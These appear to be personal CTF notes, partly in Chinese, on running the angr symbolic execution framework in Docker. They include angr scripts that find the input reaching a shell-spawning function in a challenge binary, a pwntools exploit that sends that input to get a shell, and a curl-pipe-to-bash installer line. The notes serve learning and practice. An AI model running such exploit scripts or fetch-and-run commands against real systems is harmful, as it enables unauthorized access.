zer0_1s

It is brought to you by the Computer Security Lab at UC Santa Barbara, SEFCOM at Arizona State University, their associated CTF team, Shellphish, the open source community, and @rhelmot.

concolic是单词 concrete （具体）和 symbolic （符号）的一个混合体。 concolic testing是一个同时使用了符号执行（将程序变量当做符号化的变量）和具体执行（concrete execution，涉及到具体的输入）的混合式的软件验证技术。

curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun

docker pull angr/angr

./setup.sh -i -e angr

# hwo to use angr in docker 
docker run -itd --name angr angr/angr
docker exec -it angr bash
su angr # root用户没有angr的环境，需切换到angr用户

#! /bin/sh
# Author: i0gan
# for starting docker angr
pwd=`pwd`
if [[ $1 < 2 ]];then
    echo "Usage angr script.py"
		exit
fi
script = $1
docker run -it \
					  -u angr \
						--rm \
						-v $(pwd)/${ctf_name}:/ctf/work \
						-w /ctf/work angr/angr "/home/angr/.virtualenvs/angr/bin/python" "/ctf/work/$script" $2 $3

docker run -it \
	--rm \
	-v $(pwd)/${ctf_name}:/ctf/work \ 
	-p 23946:23946  \	
	--privileged  \
	--cap-add=SYS_PTRACE \
  	--security-opt seccomp=unconfined \
	pwndocker  

root@DESKTOP-4VN4G0C:/Desktop/pwn# checksec pwn1
[*] '/Desktop/pwn/pwn1'
    Arch:     i386-32-little
   RELRO:    Partial RELRO
   Stack:    No canary found
      NX:       NX disabled
     PIE:      No PIE (0x8048000)

int sub_804870E()
{
  int result; // eax
  char v1; // [esp+Ch] [ebp-1Ch]
  int v2; // [esp+1Ch] [ebp-Ch]

  result = atoi(&input);// '\n'则默认case 0 此外还有1,2,其他的分支
  v2 = result;
  switch ( result )
  {
    case 1:
      puts("logging out...");
      result = ~dword_804A06C;
      dword_804A06C = ~dword_804A06C;
      break;
    case 2:
      if ( dword_804A06C )
        result = sub_80486F5(); // 反弹shell
      else
        result = puts("please log in");
      break;
    case 0:
      puts("input your passwd:");
      result = sub_804859B((int)&v1, 16); // 理论上是输入密码的，但是不是匹配无法知道密码是多                                                少
      dword_804A06C = 1; // 反弹shell的关键变量
      break;
  }
  return result;
}

import angr
from binascii import b2a_hex
import logging
import sys
#logging.getLogger('angr').setLevel('INFO')
logging.getLogger('angr').setLevel('CRITICAL')

def angr_main():
    pj = angr.Project('./pwn1')
    state = pj.factory.entry_state()
    simgr = pj.factory.simgr(state)
    simgr.explore(find = 0x08048783) # call shell
    p = simgr.found[0].posix.dumps(0)
    print(b2a_hex(p).decode(), end='')
angr_main()

root@DESKTOP-4VN4G0C:/Desktop/pwn# docker cp /Desktop/pwn/pwn1 1e40bd134aa7:/home
root@DESKTOP-4VN4G0C:/Desktop/pwn# docker cp /Desktop/pwn/script.py 1e40bd134aa7:/home

from pwn import *
import os
from binascii import a2b_hex

io = process('./pwn1')
print('Solving...')
payload = a2b_hex('310a320a')
io.send(payload)
print('Get shell')
io.sendline(b'whoami')
io.interactive()

import angr
from binascii import b2a_hex
import logging
import sys
#logging.getLogger('angr').setLevel('INFO')
logging.getLogger('angr').setLevel('CRITICAL')

def angr_main():
    pj = angr.Project('./find_flag')
    state = pj.factory.entry_state()
    simgr = pj.factory.simgr(state)
    simgr.explore(find = 0x1229) # call shell
    p = simgr.found[0].posix.dumps(0)
    print(b2a_hex(p).decode(), end='')
angr_main()